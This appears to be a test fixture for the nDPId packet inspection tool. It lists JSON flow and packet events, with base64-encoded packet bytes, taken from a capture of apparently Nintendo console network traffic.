+00605{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":971905,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"fLuKifuEAA6OGXEMCABFAAC497sAADIRdTNbCPMjwKgMcsEYy5cApCSHMquYZAJwBDw1LZb\/EXOjSMMnhE7iZD46YMnDknY2Toj8H3hexFk8t\/NxtrnGBe7\/azeV+ylrxOZLEJSeqtaVZpj8qkFUmEqDrAokbYC5tpC2hu85m1Gapy+z4MYRc6NIwyeETuJkPjpgycOS4O1pGafPZccfGHcxxjvnUp7EdqfBF4phVhM5G67auDF2qW+tEyxBQPI1F2LvuWv4"} +00652{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":979798,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"AA6OGXEMfLuKifuECABFAADYEUQAAEARTYvAqAxyWwjzI8uXwRgAxHaWMquYZAJWA8yXVTUzOqIQF5fnryP0+vHGauBkgnpg\/l3JWhoveHmlLmCk\/KlHH91gOginu1SxOibCjwrk2+ZC4vC5gY\/cJZCOG2cKiPYfbWTimYvcrXlaATXGHTc6ohAXl+evI\/T68cZq4GSCisvy8OzizHNXNHNFxvlBnsbz7uTtQY7ezg5TcCLEJZBAKpBfk3wsQEIk5zNSuxO5zLZCRqBYumU4AAcrSi8aIYqU\/JDbmE0nE\/JJNtLfdSo="} +00605{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":979995,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AA6OGXEMfLuKifuECABFAAC4EUUAAEARHbnAqAxyhgP4GcuX3nsApFX2MquYZAL7A4KXVkGB7PFoUbxdy4R+OmcG274R5p1cluqPszGtOrY8\/h+Ka07KRMGhZXANoJoSM7n8ukD4QCqQX5N8LEBCJOczUrsTufJdxx5Y+oG3liR0QxxR9Ffs8WhRvF3LhH46ZwbbvhHm7EcDtxNE8JSi4yBs1WWoHG7r\/Cy+MHjWKN4dY\/SnlSlGAKEox5xvXQo9d3RTFT0k"} +00608{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":980891,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AA6OGXEMfLuKifuECABFAAC4EUYAAEARL7TAqAxybRX\/C8uXxEsApGfqMquYZAJGA3OXVoUOaa8xKMh3YxOqQfCOROhuZZ1cluqPszGtOrY8\/h+Ka05RJidBwdgpJSzxyPBzPUj\/QCqQX5N8LEBCJOczUrsTufJdxx5Y+oG3liR0QxxR9FdprzEoyHdjE6pB8I5E6G5l7EcDtxNE8JSi4yBs1WWoHG7r\/Cy+MHjWKN4dY\/SnlSlX+kXE8MPCEZprJe3ihEAS"} +00609{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":987332,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"fLuKifuEAA6OGXEMCABFAAC4EikAADMRKdWGA\/gZwKgMct57y5cApJ0aMquYZAIZA8lBiZcTXnuP8YLs46i4bHraEMq7WjvCBH2PH9u8srP3Iemcufe5sR2M7hVT8nUozJzs8wgZYDqIwJcPluDE\/ybENIDoOC1647d8kRLRyY+rqEfnrOtee4\/xguzjqLhsetoQyrta4dT\/\/03wuHT+DCvmbBycQ3KbNRvsDpQDhx\/N7FMdVBo20M7nFIOPG9j9lUHNI4Pa"} +00606{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731320,"pkt_ts_usec":996727,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AA6OGXEMfLuKifuECABFAAC4EUcAAEARHbfAqAxyhgP4GcuX3nsApNBIMquYZAL7A4OXZkGN7PFoUbxdy4R+OmcG274R5l0FGNIxfsKSIJTz5qciRm\/ff9uNzGLpIGpi50mWj94Lj7g90ho7eX1wFMCprgdi\/SZYRQziW6hpcB3Yv9zBi6ns8WhRvF3LhH46ZwbbvhHmVHRHJkJ4HTUR84NVWbxnsuEFRnw5yeN\/Me8HCNPYe+gN3wZ3HGL8kMjAlRduxCfI"} +00607{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":29443,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"fLuKifuEAA6OGXEMCABFAAC4K0wAADIRI65tFf8LwKgMcsRLy5cApDk4MquYZAKvA3+FP5cZ06PmBuoT4b\/Aw0ZRGlVlo3nlao9kUI68RNXRfXaRt8YHjUJIs\/n8RE4Y6fq5SHcKL\/LLQqcLwtEImsT\/hpeuMewv1eTGWrIBdZqsDJbPdmrTo+YG6hPhv8DDRlEaVWWjgwdSsBzNMf6WyQnVmCntogxVzv5tLp\/yxBEayPCivKVZ0LOyvWlQk7gPHpHrUwk2"} +00606{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":41827,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AA6OGXEMfLuKifuECABFAAC4EUgAAEARL7LAqAxybRX\/C8uXxEsApH0nMquYZAJGA3SXk4VFaa8xKMh3YxOqQfCOROhuZXoGgfSYSbEX4Tyd3KN4GLkDksvvqaPhN1kwrf35K4VGSj4ChwX8piktCtVlAtleO1\/OQKvrJx4IXd2K6ybMWG9przEoyHdjE6pB8I5E6G5ldYvDEO4+Wbyq6ZHHr6oqd1q4rWg\/azktHfl8pTU\/E58drPW+P2AvMNo06vgWHXoQ"} +00497{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":61743,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo978AADIRdX9bCPMjwKgMcsEYy5cAVLrwMquYZAJwBD01h5dfEXOjSMMnhE7iZD46YMnDkr8jZmjTQglcfQu6zfg6r2JZe7qSyngwDYb9e4yf4CuOQCs6Hv1CZlVtYn7j1CdgDw=="} +00607{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":66329,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"fLuKifuEAA6OGXEMCABFAAC4Ei8AADMRKc+GA\/gZwKgMct57y5cApFOTMquYZAIZA8pB15djXnuP8YLs46i4bHraEMq7WrNGXfgZp53G0yrVnu8isp6aHkl3b95IZt84RZ03+fMBO45kgkrCufj8hRfEDXcHFp6uHyeAFcj9aWlsmgmgoodee4\/xguzjqLhsetoQyrtarArw8jzsrsd\/tROzfz6njVl7upLKeDANhv17jJ\/gK44a8acNW+JLA5Sk6\/nPpDSH"} +00475{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":83558,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYEjEAADMRKi2GA\/gZwKgMct57y5cARF9lMquYZAIZA8tB55dyB\/N7d5wpvhjgPgZzkuZcfEfUnJWILw9udZacGm2+ydjg43yki3W51bZKxtXCSaUY"} +00475{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":92382,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABY98IAADIRdYxbCPMjwKgMcsEYy5cARMRLMquYZAJwBD41opd6\/0Kb7VaJ\/p1Qjpgg9yekdPmCLFKJbYUGPwUBGCSFsM1KLosZXewoiuMnhd+A9PAx"} +00499{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":99217,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEUkAAEARHgXAqAxyhgP4GcuX3nsAVFpaMquYZAL7A4SXy0HtL7i7Jcm\/lzr8m+PiWTE32Rl3rr7Xs\/CY8yKgb3gvDy6gbNZm6h8KSCnTFTWIPaXBuCgHZJYDYwZFAITr195o4A=="} +00607{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":101234,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"fLuKifuEAA6OGXEMCABFAAC4K08AADIRI6ttFf8LwKgMcsRLy5cApC2NMquYZAKvA4CFi5dg06PmBuoT4b\/Aw0ZRGlVlo2yFe4AVokH1NxQbE+8JJ4iczWZ2OCn49gOOr+26ikTtYzLtcF5GBnpa5RC5qb02jUIXleO5OQGKm9rQdhhVM+LTo+YG6hPhv8DDRlEaVWWjklxtJELjPaxyJmf+JeSKO0CW4afIuFBZyt0Bu\/o\/4IVpfxhbs4SDmuPGuWcBWN\/v"} +00543{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":110990,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"AA6OGXEMfLuKifuECABFAACIEUoAAEARTdXAqAxyWwjzI8uXwRgAdCRRMquYZAJWA82X1TWseBOCgsOSIWjbi7dRXM4LS+3UGLEY65uMtx950MoguUw+pPJ1k+LdLCwIwi0xX\/acljMzirhsvnX1meTqnbjHAm\/GV4n6ZoC+Jus5NrXNkRm6\/wiB\/dqjJL0L7HOnjXLe"} +00475{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":114579,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEUsAAEARHhPAqAxyhgP4GcuX3nsARH9IMquYZAL7A4WX1kH42MdYDJ91485VDDU9eXDD1HkKbcn8CW+suB2ixIHk+FxAT6rFL5pIcL\/H3k7UcGZ3"} +00476{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":114893,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEUwAAEARMA7AqAxybRX\/C8uXxEsARCumMquYZAJGA3WX1oWRSFK5W2kBaLameBB+59QvNnkKbcn8CW+suB2ixIHk+Fyh2Eu1g\/lSTgsYj7KkmVAe"} +00475{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":159748,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYK1QAADIRJAZtFf8LwKgMcsRLy5cARA0BMquYZAKvA4GFxJebXnLtV3YBAf\/vVtLqxiPnODdDYEdMVVj5iodRtYhnjX3mvG6edo3ChuSud4WU7Fix"} +00501{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":175695,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEU0AAEARL\/3AqAxybRX\/C8uXxEsAVM34MquYZAJGA3aYF4XPr9pQObMZWMx7vsHk4f0uPl4K3lmsPtN0ZnGLyuDbJluLJr0fk37Yuv\/TVtJlVbXW4xLKgGUg3MRxWRDm5unrIg=="} +00503{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":194167,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABoEjUAADMRKhmGA\/gZwKgMct57y5cAVKZFMquYZAIZA8xCWpfg5HluPa7TnBPVFguczjKEtHv1ZoFbMSKbo7E\/89BYqlGLJr0fk37Yuv\/TVtJlVbXW\/LlaOL9EGJ6pqOKVup6MtQ=="} +00500{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":195686,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo98cAADIRdXdbCPMjwKgMcsEYy5cAVAsTMquYZAJwBD82DpfhggB7fXVtR98\/ucOsb8MSfSrT9ZEDUvfAjIhQxVXhpRWrevet2g\/lymPcYVPPPPD9t7df2MoPvtlIVyZSf1UBeQ=="} +00503{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":233343,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABoK1UAADIRI\/VtFf8LwKgMcsRLy5cAVGytMquYZAKvA4KGD5fiHtfgLVRfwQg+rgnWdyFxg0R4S5DGc6n\/IthD20WVkKyLJr0fk37Yuv\/TVtJlVbXWvy4Pu8uYjj8m\/wE6yCgXyQ=="} +00474{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":610976,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEU4AAEARTgHAqAxyWwjzI8uXwRgARDNOMquYZAJWA86ZyTeptWV7cnWxQbWlMGBhpLanB+rNg3Qf+3zjrFiHKjdHz8GcykzM19gGlEOQY8LML8a3"} +00478{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":615668,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYEjkAADMRKiWGA\/gZwKgMct57y5cARFwjMquYZAIZA81D2plgB\/N7d5wpvhjgPgZzkuZcfMqGeWJqpAOWWBo126A70vBUHdDY\/I2hCm6+UOQKkwv7"} +00478{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":616129,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEU8AAEARHg\/AqAxyhgP4GcuX3nsARL3dMquYZAL7A4aZzkP6PkHlkau7Ijb2F2MvtOU+dosmvR+Tfti6\/9NW0mVVtdbvKuiCs\/qkC0RBIDYDI6Da"} +00501{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":625986,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEVAAAEARHf7AqAxyhgP4GcuX3nsAVPy9MquYZAL7A4eZ2EPfL7i7Jcm\/lzr8m+PiWTE32UK2rnNovQYQYIGbwCO8WV+LJr0fk37Yuv\/TVtJlVbXWAGqVPDkAVqg9Xu+FQUgNbw=="} +00477{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":679981,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEVEAAEARMAnAqAxybRX\/C8uXxEsARKA8MquYZAJGA3eaEIfDBV3FWfmtjLEwkvqReL4g94smvR+Tfti6\/9NW0mVVtdYNzyfArQIArXYvyJR2Os7p"} +00501{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":702998,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo980AADIRdXFbCPMjwKgMcsEYy5cAVI+4MquYZAJwBEA4A5nRggB7fXVtR98\/ucOsb8MSfYVkyWy32CJiiULlviRK0FaLJr0fk37Yuv\/TVtJlVbXWL0wRivjk3n1FU55Y8BhEkg=="} +00476{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":741764,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYK1kAADIRJAFtFf8LwKgMcsRLy5cARDjsMquYZAKvA4OIDJniDtEHqQojRhZUoJvCATzcAYsmvR+Tfti6\/9NW0mVVtdZws6Yj+ibFRfqJTXxPXUHc"} +00541{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":833870,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"fLuKifuEAA6OGXEMCABFAACI988AADIRdU9bCPMjwKgMcsEYy5cAdMYXMquYZAJwBEE4jZpbYGjxSvXasyH6uMmcmytDe5dDYr0lA7DWZ33rlcBecwzC71uuxg2ywyeOU4+Y56UD03fQzF2jJHkjN\/VpemFPplO4R6XXUnHiFsi7zBib3WSYJN5X7Aaf502ypINo65QR"} +00523{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":845781,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"AA6OGXEMfLuKifuECABFAAB4EVIAAEARTd3AqAxyWwjzI8uXwRgAZO79MquYZAJWA8+atziXQTwuQp4oE0JOf7A1pcL1UCjBwpP8m\/rnbV0HX9eGEFzMWCgDYdqcu+LC6X12kT8vApDLaygAVMEUe\/ZCnfme3aJSfO\/8oGKXKqYNGuQdJ+U="} +00499{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":853178,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"fLuKifuEAA6OGXEMCABFAABo99EAADIRdW1bCPMjwKgMcsEYy5cAVG2eMquYZAJwBEI4oZpv8OPOSTe1J7joDKlE+tmW5C0Q17ywqshWjWWeGwSk7Fjc5BQd41APuNtWe0zb8wdFQRwfUG4PAj4wGNY7jxXk2w=="} +00502{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":861591,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEVMAAEARTezAqAxyWwjzI8uXwRgAVHKKMquYZAJWA9CaxzilST5uBb2SkYs\/g3+1D\/YtVic317Wc27N9K\/tiaUWZNxnc5BQd41APuNtWe0zb8wdFEbG16Ag8NzAkFRS1MaZTgA=="} +00501{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":866755,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEVQAAEARTevAqAxyWwjzI8uXwRgAVFLqMquYZAJWA9GazDiqST5uBb2SkYs\/g3+1D\/YtVsvBZIRF8UzXDdEwboAx4tGMVc2hekZUSzShjYoboj263S8r6WdVgxme00TAwUIcDw=="} +00477{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":902107,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYEj8AADMRKh+GA\/gZwKgMct57y5cARC2PMquYZAIZA85FGpqhp3MOkXg+3MVFKsmHUuBXcbrFKfWjv7VMYooAoxzH6491U7Fc0vK2W1Fs5wvaU\/u1"} +00475{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":914139,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEVYAAEARHgjAqAxyhgP4GcuX3nsARO0eMquYZAIAAACa+kUeXQllo6hzjt0bSmP+9ilqAe0j+EuRfq6yqnRYv5qxyj5iB53IoOd80US4Ku5hVxoV"} +00479{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":954534,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEVkAAEARMAHAqAxybRX\/C8uXxEsARCp7MquYZAJGA3ibI4jb99YLsDqmAjLNDVgTSc+TorrFKfWjv7VMYooAoxzH649q\/XpdvwI\/Wm38uYpG\/NiF"} +00478{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":984421,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"fLuKifuEAA6OGXEMCABFAABYK18AADIRI\/ttFf8LwKgMcsRLy5cARLMdMquYZAKvA4SI\/5rY9+HnUE29nZOnpfhh\/CFkqbrFKfWjv7VMYooAoxzH649prouk4LCXYyTtWp6JKaNP"} +00477{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731321,"pkt_ts_usec":994236,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AA6OGXEMfLuKifuECABFAABYEVoAAEARMADAqAxybRX\/C8uXxEsARJu\/MquYZAIAAACbS4kBXQllo6hzjt0bSmP+9ilqAe0j+EuRfq6yqnRYv5qxyj7NPAM7uYC7PsR3nZfysaf6"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1500731322454,"flow_last_seen":0,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":132,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":132,"midstream":1,"l3_proto":"ip4","src_ip":"54.187.10.185","dst_ip":"192.168.12.114","src_port":443,"dst_port":48328,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 